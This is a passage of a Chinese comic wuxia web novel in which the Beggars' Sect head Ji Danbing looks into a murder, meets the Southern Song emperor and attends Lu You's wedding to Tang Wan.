我说:“圆信是圆通的师弟,他在禅慧寺在被人杀了。杀他的人是陆游的叔父陆石……”我便将圆信之死,以及我和李小谦千里赴少林的起因、经过、结果统统告诉了娄琴。 听完之后的娄琴长舒了一口气,说:“小谦说的不错,如果真如陆石所说,圆信投靠了金人,为的是骗取圆通大师的金刚伏魔功。那么他杀圆信,大可不必蒙头盖面。既然他这么做了,这其中定然另有什么隐情。” 我说:“那李小谦肯定知道!” 娄琴摇了摇头,说:“未必!我想他也不过是发现了其中的疑点,并不知道其中的缘由。” 是这样吗?如果连李小谦都不知道的话,那么我只能去问陆石。 娄琴问:“接下来,你打算怎么办?” 我说:“我要去问陆石。” 娄琴问:“你怎么找陆石?” 我说:“我告诉陆游,让他带我去。” “不可以!”娄琴严肃地说,“这样不妥。” 我问:“有什么不妥?” 娄琴有些无奈地叹了口气,说:“旦丙,你要把事情思虑得周全一些。陆游与我们交情颇深,他的人品性格我们都是有目共睹的。如今,他的叔父陆石忠奸不明、好坏难分,你若贸然去问他的话,让陆游如何自处?!” 我……真的需要考虑那么多吗? 娄琴又说:“况且,以你的功夫,即便是见到了陆石,即便是你知道了这其中是有什么阴谋,又能如何?这样贸然将自己陷入危险之中,你真的有把握脱身吗?” 我沉默了,娄琴说的话让我无可辩驳。 我问:“那要怎么办?” 娄琴将那封信塞给我,说:“忘了它,就当你从来没有看过这封信。” “为什么?”我不解。 娄琴说:“该死的人都已经死了,不该死的人也已经走了。现在丐帮的帮主是你,你只要确认丐帮之中再无人与此事有所关联就好,其他的事都与你无关。你要记住,你的任务是,让丐帮的兄弟们过上好日子。” 娄琴搬着椅子走进了客栈。 虽然,她说得似乎很有道理。但是,我仍然忍不住地去想。 我很想解开这个谜,我想知道其中到底隐藏着什么。 傍晚时候,学子们结束了一天的考试回到了娄琴客栈。他们三三两两,结伴而行,口中无一不在议论着当日的考题。 陆游和李小谦一同走进客栈。他前面的一个学子一脸苦恼地仰头念着:“不学操缦,不学操缦……这考题到底是什么意思啊?” 李小谦朗声大喊:“不学操缦,而学操蛋。” 那人眼睛一亮,激动地看着李小谦问:“李兄,操蛋何解?” 李小谦笑着摆了摆手,神秘地说:“天机不可泄露。”他快步跑到娄琴跟前,说:“娄姐,你猜我今天在考场看到谁了?” 娄琴问:“谁?” 李小谦说:“王重阳!” 我惊讶道:“他也去考试了?” 李小谦说:“不是,他在贡院门口摆了一个卦摊儿,今天可发财了!白花花的银子收了一箱子。” 娄琴问:“那又如何?” 李小谦说:“我的意思是,娄姐你为人太善良了。科考这样盛大的日子,又不是年年都有,就连王重阳都趁机捞一把,你又何必拘谨呢?” 娄琴笑着摇了摇头说:“人想法不同,无可厚非。他们没有错,我也没有错。”说罢,娄琴走了。 晚上,我捏着那封信,心里憋得十分难受。越是不知道答案,越是想要知道答案,越是坐立难安。 我一咬牙,问李小谦:“陆石为何要杀圆信?” 李小谦一怔,似乎是被我突然一问惊住了,眉头紧锁,表情凝重。他看着我,呆了半晌,才说:“不是因为圆信投靠了金人吗?怎么了?” 我说:“我在丐帮发现了一封信。”我将那封信递给李小谦。 李小谦看完,表情更加凝重了。他说:“你想怎样?” 我说:“我想知道陆石为什么要杀圆信。” 李小谦不屑地一笑,问:“这事和你又关系吗?” “我……”我忽然语塞,不知如何回答。我本来以为,这件事或许关系到丐帮的存亡,但娄琴却说让我忘掉此事。如今,我十分迷茫。到底这件事与我有没有关系呢? 李小谦将那封信收起来,塞到我手里,说:“我劝你,还是管好自己的事,圆通都已经走了。陆石为什么杀圆信,这件事与你无关!” 与我无关? 真的是这样吗? 李小谦爬到床上,忽然,他又探下半个脑袋喊我:“喂!旦丙!” 我以为他要告诉我答案,激动地站起来,笑着,说:“你说!” 李小谦指着我,严肃地说:“今天晚上,如果床再晃,绝不许再大呼小叫,谎报地震!” 我问:“为什么?” 李小谦憋了半天,说:“改天我教你,今天先睡觉。”说罢,他豁然躺下,用被子蒙住了头。 第一卷 最后一个武林盟主 第七十五章 找猫 这一夜床又晃了。 吱呀吱呀,这紧凑而富有节奏的声响让我对上面发生的事情颇感好奇。 我起身探看。 然而,每当我有所动作或者发出一丝声响时,那吱呀声便戛然而止。 当我躺下,一动不动,片刻之后,床又开始摇晃,那吱呀吱呀的声音。 我问李小谦:“怎么了?” 他也不理我。过了一会儿,那摇晃愈加猛烈,吱呀声渐渐急促。犹如一场狂风暴雨之后,只听得李小谦“哦”的一声爽呼,一切又归于平静。 我又问:“怎么了?” 李小谦依旧没有理我。又过了一会儿,便听到他沉重的鼾声响起,犹如闷雷。 这一夜我辗转难眠,思前想后。圆信之死和床体摇晃两大谜团在我脑海中萦绕,让我久久不能平静。 夜静更深。 沉睡中的李小谦忽然翻了个身,含含糊糊地喊了一声:“唐婉。” 我问:“你说什么?” 他又喊了一声:“唐婉。” 过了很久,李小谦鼾声又起。我仍旧难以入眠,索性披了件衣裳,走到窗边。 深夜。窗外弦月如勾,虫声脆鸣,几许星辰闪烁着。淡淡清风拂过,卷起席席往事。忽然间,我感觉自己双颊有些麻木,触手已是冰凉。 第二天,清晨。 我问李小谦,昨夜喊唐婉做什么? 李小谦十分惊慌地捂住我的嘴,说:“你胡说八道什么?” 我说:“昨夜我听到你喊唐婉的名字了。” 李小谦压着嗓子,颇为惊讶地问:“真的?你真的听到我喊她名字了?” 我说:“我听得很清楚。” 李小谦的表情有些慌乱,抿着嘴说:“这可咋办?哎.....罪过啊!”说完,他摇着头往门外走。到门口,他忽然转身指着我说:“不许告诉别人。” 我和李小谦刚刚下楼,便听到界面上马蹄声疾,“嗑嗑擦擦”,似乎有数十匹马在街面上奔走。 临安府乃是大宋行都,治安最严。平时莫说有人在大街上明目张胆地骑马,就是有人骑着头驴被官府发现也是一顿鞭打。 到底是什么人? 我好奇地站在门口张望。只见一群穿着官府衙役装扮的汉子,莫约有十几个人正向着我们的方向奔来。 “崇国夫人爱宠走失,全城戒严,搜寻夫人爱宠。凡有举报线索者,赏金十两,私藏者或隐瞒不报者,杖五十。” 领头的衙役正好一路喊着,正在娄琴客栈门口,将马勒住。 有人上前询问:“敢问官爷,崇国夫人的爱宠是什么?” 领头的衙役从腰间解出一张画像,“哗啦”一声抖开。我定睛一看,竟然是一只猫。 那人朗声说道:“崇国夫人的爱宠乃是一只狮子猫。凡是家里有狮子猫的,不管是黑猫、白猫还是花猫,统统给我交上来。谁敢私藏,或者拒不上交......”他从腰间解下鞭子,在空中一抽,“啪”的一声响,四周围观的人都不由自主地向后退了几步。 “靠!”李小谦一副浪荡模样,倚在门框上,手里悠哉地磕着瓜子,说,“这段我在书上看过,这不陆游写得嘛。我以为是他编的呢,没想到是真的。” 我不明所以,问:“什么意思?” “对啊!什么意思?”我刚问完,却听见一个熟悉的声音从李小谦的身后飘了过来。我和李小谦猛地回头,只见陆游不知何时站在了李小谦的身后,正一脸疑惑地看着他。 “哎呀,我的妈呀!”李小谦被吓得一个哆嗦,把手里的瓜子撒了一地。 陆游满脸茫然,问:“李兄方才所说,我写的?我写得什么?” 李小谦只是嘿嘿地笑,却也不回答。 这时,一个衙役走来,将一张崇国夫人爱宠的画像贴在了娄琴客栈的门口。 我问:“你要干什么?这里不能随便贴东西。” 那衙役一瞪眼,“咣”的一声把刀抽了出来,说:“找死是不是?” 李小谦赶忙拉住我,向衙役赔笑,说:“大哥,抱歉,抱歉。小兄弟头脑不太好使,你不要跟他一般见识。” “咣”的一声,那衙役又把刀插了进去,喝到:“看好你们家傻子!” 他竟然敢叫我傻子?! 若放在往常,或许我进到官差,只得忍气吞声。但如今不同了。我现在是丐帮帮主,一个七八百人的团伙头目。 是可忍孰不可忍! 我从门口抽出一根木棍,一脚跟上,“当”的一声夯在了那衙役的后脑上,骂道:“你才是傻子!” 李小谦惊恐地望着,喊道:“姬旦丙,你疯了?!” 那衙役瞪着眼睛,扭过头,不可置信看着我。显然,他并没有想到我会有此一棍。他没有说出一句话,也没有发出一丁点声音,便直挺挺地倒在了地上,晕了过去。 然后,娄琴客栈就被包围了。 带头的衙役手握刀柄,看着地上躺着的同伴,怒目圆睁,破口大骂:“哪个兔崽子把我弟弟打了?!滚出来!” 看到门口十几个刀枪挺直的衙役,我忽然慌了,腿脚发软,动弹不得。我想问李小谦,我该怎么办。然而,当我左右去寻他时,他早已不知踪影。只有陆游,一脸严肃地站在我身旁。 我颤巍巍地问:“怎,怎么办?” 陆游说:“走一步,看一步。实在不行......就拼了!” 也只好如此。这时,我开始后悔方才的冲动。看来这次,真的要将陆游拖下水了。 “谁打了我弟弟?!”那人又喊了一声,“快点站出来,莫要等我冲进去!” 我勉力从娄琴客栈中颤抖着走了出来,提了口气,强装镇定,说:“我,我!怎么了?!” 我话音刚落,只听见“咣”的一声,一柄冰冷的刀便架在了我的脖颈处。那人瞪着眼睛大喊:“你他娘的找死!” 我说:“他,他骂我是傻子!” 那人冷哼一声,说:“我看你就是个傻子!”说罢,我感觉腹部被猛地一击,一阵剧烈的疼痛,让我几乎喘不上气。紧接着,那人竟真的挥刀向我头颅砍来。 我顿时感觉浑身冰凉,心想,这回死定了! “住手!” 一声厉喝。声音粗壮有力。 不是陆游。更不是李小谦。 会是谁呢? 我循声望去,只见一个粗壮的汉子从人群中站了出来,他边走便从胸口掏出一件物品。那物品不大,被他握在手中,只垂下长长的穗子。 那粗壮的汉子将手中的东西往那衙役面前一送,那衙役当时就要跪倒,被那粗壮汉子单手扶住。 这是什么情况? 正在我疑惑之间,之间带头的衙役一挥手,一群人瞬间消失得无影无踪。 那粗壮汉子来到我面前,将我扶起,问:“你没事吧。” 我说:“没事。” 陆游也走上前来,笑道:“多谢兄台搭救,敢问兄台如何称呼?” 那粗壮汉子说:“在下姓柳,名无风。” 陆游说:“在下陆游,幸会幸会。” 柳无风没有在与陆游寒暄,而是直接对我说:“你可是叫姬旦丙?” 我点了点头,说:“是。” 柳无风并没有笑,而是更严肃了,他说:“你跟我走,有人要见你。” 我一怔,问:“谁要见我。” 他看了一眼陆游,侧身附在我耳边,轻轻地说:“皇上!” “皇上!”我激动地叫了出来。 柳无风吓得脸都青了,一把捂住我的嘴,喝道:“别喊!” 陆游惊讶地看着我,说:“你,你说得可是......皇上?!” 柳无风对着陆游冷冷地说:“不许声张!否则,刀下无情!”说罢,他拉住我的胳膊,拽着我,一边走一边嘟囔:“唉,皇上说了,你脑子不大好。我本来还在想,能怎么不好,没想到竟然是个傻子!气死我也!” 第一卷 最后一个武林盟主 第七十六章 告别 柳无风拉着我来到不远处一家酒楼的雅间。 雅间分内外两室,中间一道屏风隔开,屏风上山水字画,蔚为壮观。 一个衣着华贵的男子,正襟危坐在内间的方桌上,悠然地品茶。他见我进来,却没有任何表情。只说:“你来了。” 我说:“我来了。” 柳无风单膝跪地,抱拳行礼,道:“臣已将此人带到。”他看了我一眼,轻声喝道:“跪下。” 我没有跪。 因为,我从来没有跪过。 皇上没有在意,他只是淡淡地说:“无风,你先退下吧。” 柳无风狠狠瞪了我一眼,说:“遵命!”然后,他转身离开了。 房间里,只剩下我,还有皇上。 我问:“你找我干什么?” 皇上的脸上闪过一丝怒意,转眼又归于平淡,他说:“朕不过是想兑现当日的承诺。”他摆手示意我坐在他的对面。 我心里不停地告诉自己,他是皇上。九五至尊。我应该显得尽量谦卑一些。他与白景行不同,白景行可以让我做丐帮的帮主,而他却可以给我想要的一切。 我说:“谢谢……皇上。” 他淡淡一笑,说:“你这人十分有趣。朕也很喜欢。朕问你一些事情,你要如实回答。” 我说:“好。” 他问:“白景行是否曾在你所住的客栈里出现过?” 我说:“是。” 他问:“他是否曾与其他门派的掌门人在那里密谋?” 密谋? 这个词在他嘴里说出的一瞬间,让我感觉极其不适。总觉得他言语间不含善意。 我问:“你......是什么意思?” 他说:“朕不过是想知道,白景行与其他掌门在客栈里商量了一些什么。” 我说:“他们商量如何自律,说要给你上书。” 他问:“自律之事,可有人反对?” 我说:“有。” 他神情微微一变,问:“何人反对?” 我将那日的情景仔细思索了一遍,印象最为深刻的不过是那个眼睛像牛眼一般大小,腰间插着两把短刀,像极了厨子的管天下。 我说:“双刀门,管天下。” 他喝了一口茶,问:“还有吗?” 我想了想,说:“还有,但是我忘了。” 他脸上露出一丝不悦,将茶碗放在桌上,磕出“啪”的一声响。他说:“这么简单的事,你都能忘了?” 我说:“我真的忘了。起初,那些人并不支持。但后来,却也在那陈情书上签了字。” (作者说:写皇上感觉好奇怪啊,以下直呼其名。) 赵构又恢复了淡然的模样,说:“这件事,你是如何看的?” 我想了想,说:“站着看的。” 赵构“噗”地一口茶喷了出来。 后来,他始终围绕着七月十五中元节那日在娄琴客栈里发生的事向我问东问西。他的问题十分飘忽,总让我捉摸不著他的用意。 最后,他将茶盏轻轻发下,淡淡地说:“好了,你先回去吧,今日之事,不可对他人提起。” 就这样而已吗? 我问:“你不是说要兑现当日的承诺吗?” 赵构眉头一皱,说:“你想要什么?” 我说:“我想要钱,很多钱!” 赵构竟然露出一丝难色,说:“此事......容后再议。”说罢,他起身向门外喊:“无风,送他走。” 我说:“你还没有兑现当日的......”我话没说完,壮硕的柳无风便拖着我向门外走。 “等等!”赵构忽然喊住了我,他沉吟了片刻,问,“娄琴客栈的老板......她......叫什么?” 我一怔,说:“叫娄琴。” 他又问:“她......怎么样?” 我想了想,说:“很漂亮。” 赵构一拍桌子,喝道:“快让他滚。” 柳无风应了一声,将我拖出了客栈。站在大街上,我回望那家酒楼,赵构的最后表情依稀浮现在我的面前。 我忍不住去想,他到底会不会兑现承诺? 回到娄琴客栈。陆游正站在门口焦急地等候。他见我回来,快步迎上来问我:“怎么样了?” 我心情低落,摇了摇头,说:“他没兑现承诺。” “承诺?”陆游问,“什么承诺?” 我便将那日在小镇上如何救了赵构,他又是如何答应我的事统统告诉了陆游。陆游惊讶地看着我,说:“皇上出宫猎艳?” 我点了点头,说:“不错。” 陆游说:“这不可能吧。” 我问:“有什么不可能?” 陆游说:“据说,当年金兵越过长江直取扬州之时,皇上因过度惊吓因而......因而......” 我问:“因而什么?” 陆游如同做贼一般地向左右看了两眼,说:“据说,皇上因而失去了生育能力。” “什么?!”我叫道,“皇上没有生育能力!” “哗!” 我话刚出口,忽然感觉一道清流从天而降,仿佛是大雨倾盆一般,顷刻之间,将我全身浇透。 我刚想开口骂娘,却见娄琴端着一个空荡荡的盆子站在客栈门口,目光阴冷地盯着我,让我一阵毛骨悚然。 我从来没有见过她那样的眼神。 我问:“你怎么了?” 娄琴语气冰冷,说:“不该说的,不要乱说。”说罢,她扭头离去。 这一切发生得如此莫名其妙。 我问陆游:“她为什么泼我。” 陆游望着娄琴的背影,意味深长地说:“或许,你真的说了不该说的事。” 可是,这件事分明是陆游告诉我的。 为什么娄琴不泼陆游呢? 李小谦被一群学子恭维着,一脸得意地从客栈里走出来。从他们的言语间可以听出,西湖之畔有一场以文会友的比试,他们想邀请李小谦前去。 他从我身旁走过,见我一身湿漉漉的模样,抬起头看了看天空,又看了看我,问:“旦丙,刚刚下过雨吗?” 我说:“没有。” 李小谦说:“莫非是你掉到河里了?” 众人开始笑。我不再理他,转身离开。我回首望向李小谦,他被一群人左呼右拥着,向西湖的方向走去。 厅堂里的人都说,李小谦此次登科已不在话下。 我心中又是一阵酸涩。 忽然间,我感觉前路变得异常模糊,我仿佛又回到了逃离雁荡山之日,望着未知的江湖而茫然失措的心境。 接下来,我将何去何从? 十日,皇榜贴在了贡院门口。 李小谦兴高采烈地去,却垂头丧气地走了回来。 娄琴什么也没说,只是默默地为他斟上茶水。我问:“怎么样?考上了吗?” 李小谦摇了摇头。 我心里却莫名其妙地一阵欢喜,忍不住地心花怒放。 李小谦瞪着我,大声质问:“你笑什么?” 我忽然一阵羞愧,双颊一阵火辣,不由地低下了头。 娄琴问:“陆游怎样?” 李小谦说:“他也落榜了。” 娄琴叹了口气,她站起身来,拍了拍李小谦的肩膀,说:“或许,这并不是坏事。江湖广阔,何必将自己跻身朝堂。看开些吧。” 李小谦叹了口气,说:“我妈最大的愿望就是我能考上公务员。我现在回不去,若能中个进士,也算是完成了她的心愿。” “原来,李兄竟与小弟同命相连。” 不知何时,陆游又站在了李小谦的身后。我感觉他最近总是如游魂一般,在我们完全没有察觉的情况下,忽然出现。 “靠。”李小谦烦躁地说,“你怎么走路不出声音?” 陆游笑了笑,说:“小弟今日在练习(脱敏)家传的轻功。因而,小弟走路步履轻盈,踏叶无声。” 李小谦并没有理会陆游,他愁眉苦脸地坐在那里,只顾唉声叹气。 陆游却也没有怪他,说:“李兄想开些。人生在世,自在逍遥,若只为了一个功名而失了许多快乐,便有些得不偿失。” 李小谦依旧沉浸在自怨自艾中,无法自拔。 陆游却向我们拱手,说:“在下今日离开临安,特来向诸位辞行。” 我问:“你要走?” 陆游说:“不错。此次表妹与我一同回绍兴,另有一件大事要办,我二人因而不能久留。” 李小谦忽然身躯一震,扭头叫道:“你,你要结婚?” 陆游一怔,随即脸上露出一丝羞怯,一丝幸福。他说:“李兄果然聪慧。不错,此次带表妹回绍兴,便是要与她完婚。舅父他们已经到了绍兴府老宅,就等我二人回去了。” 李小谦掐指算着,不知在算些什么,他喃喃道:“竟然是在这一年。是我记错了吗?” 陆游疑惑不解,问:“李兄.....你说什么记错了?” 李小谦微微一笑,他笑得很勉强,似乎是用力很大的力气才勉强挤出。他说:“没什么。祝你们幸福。” 陆游笑着,说:“多谢李兄。” 这时,一辆马车缓缓停在娄琴客栈门口。车厢的布帘掀开,露出一个俊俏娇美的脸。 唐婉穿了一身鹅黄的女装。她小心翼翼地从车上下来,缓步走进客栈。她那浅浅的微笑,犹如拂面的春风,让人看着便感觉有些醉意。 她依旧略带羞涩地看着我们,向我们缓缓施礼,轻声对陆游说:“表哥,我们走了。” 陆游望着唐婉,满目柔情,和声说道:“好。这就走。”他转身,向我们行礼,说:“小弟告辞了。过些时日,我会派人登门送上请柬,还望诸位能够光临绍兴,喝上一杯喜酒。” 他们二人相互搀扶着,彼此相望着,走出客栈,登上马车。 马车缓缓离去。我看见李小谦皮笑肉不笑地望着,不知为何,双拳却紧紧地攥了起来。 第一卷 最后一个武林盟主 第七十七章 劝阻 两个月后,我们收到了陆游差人送来的请柬。与请柬一块送来的,还有一封书信。 “十月二十,绍兴陆府,静候诸君。” 李小谦看着大红的请柬,神情异常失落。他说:“何必呢?一场悲剧。” 我不明所以,问:“什么意思?” 李小谦并没有向我解释。只是怅然地摇头,嘴里念着:“一场悲剧啊!红酥手,钗头凤,沈园相会......” 我们启程去绍兴的当日,娄琴拿出一个精致的木盒递到我手中,说:“这是送给陆游的贺礼,你带我送达吧。”她将木盒打开,是一对碧绿的翡翠鸳鸯,雕工极度精湛,几乎活灵活现。 我问:“你不去绍兴吗?” 娄琴笑着说:“我还要守着客栈。” 马车停在门口,我和李小谦向娄琴道别。马车轻晃,车轮压在青石路面上,发出“嘎啦嘎啦”的声响。 我和李小谦又一次踏上了路途。前次一路向北,今次一路往南。 绍兴。 当我和李小谦再次站在绍兴客栈的门口,我一阵感慨。往事历历在目,只是圆通已不知去往了何处。 看着绍兴客栈的招牌,我更加感慨,问李小谦:“你说,圆通去了哪里?” 李小谦指了指天空。我心头一紧,几乎失声:“死了?” 李小谦却说:“是天机不可泄露,傻逼。” 距离陆游大婚之期还有三日。是夜,我与李小谦同住一间客房。不知为何,这一路他的情绪都有些低落。我问他怎么了,他也不回答。只是时不时地叹息,说,一场悲剧。 这夜,乌云遮月,风声骤起。客房的窗户被刮得“哗啦啦”乱响。我躺在床上隐隐感觉有些不安,似乎是要有什么大事发生。 果不其然。三更时分。窗外竟然响起了一阵“叮叮当当”的铁器撞击声。 我和李小谦几乎同时从床上翻了下来,趴在窗口向外张望。 “看到了吗?”李小谦问。 我极目远眺,目光所极,皆是一片茫茫然的黑夜。我说:“看不见。太黑了。” 话音刚落,忽然眼前白晃晃的光一闪,一个人影从窗外鱼跃而入。进来的一瞬间,两只脚丫子勾在我和李小谦的脸上,将我俩人带翻在地。 客栈里,我两人滚做一团。 李小谦反应奇快,原地一翻,以少林擒拿手将那人就势按在地上,厉声喝道:“什么人?!” 我隐约闻到一股浓郁的香味,那香味甚是熟悉,那熟悉的香气竟让我心骤然猛跳。 “小月?!”我轻声询问。 “姬旦丙?!”小月也是一惊。 李小谦慌忙松开手。我将脸凑了过去,隐约可见小月俊俏的脸,如我在魂牵梦绕的那张脸一模一样。 “你怎么会在这里?”李小谦问。 “嘘!别说话!”小月慌忙起身,将窗户掩上。她透过窗户的缝隙向外窥伺,许是感觉没人发现,便将窗户轻轻闭上,长长地舒了一口气。 我问:“发生了什么事?” 小月说:“有人追我。” 李小谦狡黠地一笑,说:“谁追你?长得怎么样?”不知为何,我感觉他话中另有深意。 小月一直紧张地四处查看,并未看到李小谦的表情,她说:“我没有看清楚,但从刀法上看,是括苍派的人。” 括苍派?! 莫非,他们还在为了小月杀死那四个淫贼的事而耿耿于怀?! 我问:“是陈伯洋吗?” 小月说:“不是。若是陈伯洋,只怕我没有这么轻易地跑掉。” 李小谦问:“有多少人?” 小月说:“大约十几个。” 我问:“你为何会在绍兴?” 小月说:“师兄大婚,我当然是来绍兴喝喜酒的。” 我心头一紧,问:“陆石也来了?” 小月有些不高兴了,她说:“你竟敢直呼我师父的名讳。” “我......”被小月这样一训斥,我顿时感觉有些慌乱,说,“我只是习惯了。” 小月没有再追究,她说:“你们帮我送个信儿。” 我问:“去哪里?” 小月说:“这些人不会善罢甘休,我要尽快联系师父,让他来救我。” 去见陆石吗? 我下意识地用手捂住胸口。那封“圆信已除”的信还在我怀中静静地躺着,它似乎已经感受了我紧张地心跳,随着我的胸腔的起伏颤动。 李小谦问:“你师父在哪里?” 小月说:“出绍兴府城东十里,木兰山庄,你将此物交给木兰山庄的人,他们自会带你去见我师父。”黑暗中,小月将剑穗摘下,塞到了我的手中。 真的要去见陆石了。我心里更加紧张。但想到,如今能够解救小月的,只有陆石,便点头答应,说:“好。” 走出绍兴客栈。我和李小谦如同做贼一般地东张西望了一番,见四下无人,便顶着强风,向绍兴府外奔去。 路上,李小谦问我:“那封信你是不是还带在身上。” 我说:“是。” 李小谦说:“见到陆石,绝对不可以替这件事。” 我问:“为什么?” 李小谦说:“如果你我还想活着回来,就不要问。如果你一定要问,就让我回去。” 我说:“好。” 李小谦笑了笑,说:“孺子可教也。” 我说:“你回去吧。” 李小谦一怔,骂道:“靠,你有病啊!” 我没病。只是这个疑问一直压在我心底,如鲠在喉,不吐不快。我已经下定决心,一定要问。 李小谦停下了脚步。他指着我的鼻子说:“如果你一定要问,老子现在就回去。” 我不想让李小谦走。如果,我只身前往,那会让我更加紧张。 可是。那件事,真的要就此作罢,不再去问吗? 一道清冷的光从乌云的缝隙中闪出,玄月拨云,给无尽迷茫的黑夜,带来一抹光亮。同时带来的,还有一道白影。 风声依旧强劲,撩动那白影的衣衫,白发,长须。 我犹如在无边无际的大海中抓到了救命的舢板,兴奋地大喊:“白前辈!” 白景行“嗝”了一声,向我们走来,他步履轻飘,左摇右摆,含含糊糊地说:“又,又是你们两个小鬼。”他摇晃着手里的鎏金葫芦,葫芦在月光下闪着琉璃一般的光彩。 “给,给老夫打壶酒来。”白景行晃着,将葫芦扔到我的身上。 他扔得太过突然,我没有接住。葫芦“咣”的一声,摔在地上。风声依旧很紧,我在“嗖嗖”的风声里,听到了“咔”的一声脆响。 葫芦裂了一道口子。 白景行哐地坐在地上,犹如淘气的孩子一般,拍着大腿,哀嚎:“老夫的葫芦啊!老夫的葫芦啊!” 这一幕,让我和李小谦都有些无措。我俩对视一眼,李小谦小声地说:“这老头又喝多了。” 我小心翼翼地走上前,轻轻拍了拍白景行的肩膀,说:“你,你没事吧?” 忽然,白景行在原地打了给滚,身子一挺站了起来。他抓住我肩膀,喊了一声“跟我走”。我被他提着,瞬时间飞到了屋脊之上。 月光下,我回首去看李小谦,他整个人在风中凌乱,大喊:“前辈,带上我啊!我也想飞......” 李小谦身影没入黑夜,声音渐渐模糊。 白景行将我带到了一个极为偏僻的巷子中。他表情严肃,目光却炯炯有神,完全不是刚刚醉意阑珊的模样。 我问:“你没喝醉?” 白景行笑着,他说:“老夫只不过是找个机会将你带过来。” 我不解,问:“为什么要将我带过来?” 白景行忽然有些黯然,他眉宇间似有惆怅,说:“丐帮怎么样了?” 我说:“很好。” 白景行眉头一皱,似乎是质问:“很好?!” 我点了点头,说:“是。很好。”忽然,我想起那封在我胸口的书信。如今,白景行就在眼前,我何不将它交给白景行,问问他该如何是好。 我将那封信掏出来,递到白景行手中,说:“我在马小六的房间里发现了一封信。” 当我把那封信递到白景行手中时,他并未打开来看,只是将信攥住手中,用力一握,再将手张开时,那封信已化成粉末,随风而散。 我惊道:“你要干什么?!” 白景行说:“不要再追查这件事了。它已经过去了。” 我问:“为什么你们所有的人都不让我去查?” 白景行说:“因为,没有意义。” 我说:“我想知道答案。” 白景行说:“你要记住,这世间,本来就有很多事没有答案。如果一味强求,只会适得其反。” 我说:“我憋得慌。” 白景行说:“那也要忍着。” 这时,我的小腹已经有些胀痛。我说:“我真的很憋得慌。” 白景行厉声喝道:“不行,一定要忍!” 我感觉奔腾的江水已堤坝蓄势,整个下肢都有些麻木了。我再次强调:“我真的憋不住了!” “啪”的一声,白景行一个耳光扇到我的脸上,吼道:“给老夫憋住了!” 一记耳光,打碎了我最后的一丝坚持。 我感觉一股湿热的水流从裤腿往下缓缓流淌,冷风一吹,甚是凉爽,忍不住一连打了几个冷颤。 第一卷 最后一个武林盟主 第七十八章 卷终 我感觉前所未有的孤独。 我感觉所有的人都不能理解我。 他们都在极力地劝阻我去查明圆信的死因。 这其中分明就是隐藏着阴谋。他们为何要对这阴谋置若罔闻。 我不能理解。 白景行的一计耳光,害得我一时没忍住,尿了裤子。自我有记忆以来,我便没有尿过裤子,这让我感觉异常的羞耻。 我恨不得脚下就是一个洞,我钻进去,永远都不要出来。 白景行嘿嘿地笑着,说:“怎么?你的水龙头也崩了!” 我顿时攥紧了拳头,一股怒火从我胸口燃烧,愤怒地火舌灼烧着我的胸腔,几乎要将我的五脏六腑燃为灰烬。 但是,我却不敢对白景行怎样。 他实在太厉害。他的武功之高,足以让世间的任何人忍下一切愤怒。 白景行忽然又严肃起来,似乎是有什么事让他必须一本正经地对我说。他说:“今日,我要教你一项武功。” 我胸腔里熊熊燃烧的怒火瞬息之间熄灭,好像从来不曾燃起一样。我说:“你要教我武功?” 白景行说:“不错。今后行走江湖,你必须要有一样拿得出手的武功。” 我既紧张又兴奋,问:“你要教我什么武功?” 白景行说:“一种剑法。” 我问:“什么剑法?” 白景行说:“这世间最快的剑法。”说罢,他将手伸入袖中,掏出两样东西。 一个竹筒。 一个木盒。 两件东西其貌不扬,看上去极为普通。我好奇地问:“这是什么?” 白景行将竹筒放到我手上,说:“这是练功的器具。”他又将那个木盒放到我手里,说:“这个剑法的秘籍。” 两件东西在我手上,一左一右。我顿时感觉它们似有万钧沉重。 白景行的剑法天下第一。 没有人可以抵挡得住白景行的剑法。 这剑法,此刻就在我的手上。 白景行说:“你将竹筒挂在树上,扣动机括,竹筒内会射出银针。三尺外,你用剑格挡。当你能用剑接住一百一十三根银针的时候,你就练成了我的剑法。” 我问:“天下第一的剑法?” 白景行笑了笑,说:“这世间哪有什么天下第一。只不过是有一些人无限接近了人的极限。但却没有人可以突破那个极限。” 我不明白。 我问:“你说的那个极限是什么?” 白景行指了指那个木盒,说:“答案就在其中。” 我十分好奇,想要将木盒打开。我想看看,白景行口中那个“人所不能突破的极限”到底是什么? 但是,我很快便发现。那个木盒,根本无法打开。 我问:“它怎么打开?” 白景行说:“当你能接住一百一十三根银针的时候,就可以打开了。” 没有秘籍,我如何能接住一百一十三根银针? 白景行并没有给我答案。他转身要走的那一刻,我忽然想起深陷危险之中,还在客栈里焦急等待的小月。 我说:“等等。” 白景行已经跃起半人多高,又生生落了下来。他怫然之色写了一脸,喝道:“小兔崽子,你差点闪了老夫的腰。什么事,快说!” 我说:“括苍派的弟子在追杀小月。你能不能去帮她?” 白景行问:“谁是小月?” 我说:“他是我的朋友。陆石的徒弟。陆游的师妹。”我想尽量把她与各种关系说得全面一些,这样或许能说动白景行出面相助。 只要他出面,括苍派的弟子定然不敢再为难小月。 白景行说:“你且回去。我会保你们平安无事。” 我说:“你别忘了。” 白景行脸色一变,吼道:“老夫岂是善忘之人。”说罢,他腾空跃起,眨眼之间,踪影不见。 风声依旧很紧。 我拖着被风吹得冰凉的长裤来到李小谦面前。他正蹲着一个角落里喃喃自语,口中不停地咒骂着。 他看到我,豁然起身,问:“那老头呢?” 我说:“走了。” 李小谦破口大骂:“这个该死的老酒鬼,把老子一个人仍在这里。”他似乎是察觉了我走路的姿势有些别扭,问:“你怎么了?” 我说:“我有些冷。” 李小谦竟然将手伸到我裆下摸了一把,随即大笑:“哈哈哈......你水龙头崩了!” 这一夜,我们并没有去木兰山庄。我也并没有像我所期望的那样见到陆石。我心中的那个疑团,在所有人极力地劝阻下,在我心里越沉越深。深得我几乎就要忘了。 其实,有许多时候,我竟真的已经忘了。 括苍派的人再也没有出现过。陆游大婚当日,我带着娄琴精心准备的贺礼,与李小谦一同来到陆府。 陆府上下,从里之外,一片忙碌的景象。 夜间,陆府摆开流水宴席,款待各路宾客。当所有人坐定之时,陆府的门前白影一晃。竟然是白景行又一次出现了在了我的面前。 “前辈!”陆游喜出望外,疾步向前迎接,“前辈,大驾光临,晚辈感激不尽。” 白景行“嗝”了一声,从腰间接下佩剑,放到陆游手中,说:“这是老夫送你的贺礼!” 陆游一副受宠若惊的慌乱模样,连连推辞,说:“前辈的佩剑,晚辈不敢收。” 白景行笑了笑,说:“这把紫麟剑随我闯荡江湖数十年,从未离手,今日我便送给你了。” 他分明就是胡说。我想起初见白景行之时,他便因醉酒将随身佩剑掉在了酒馆,因而劫了我的马。 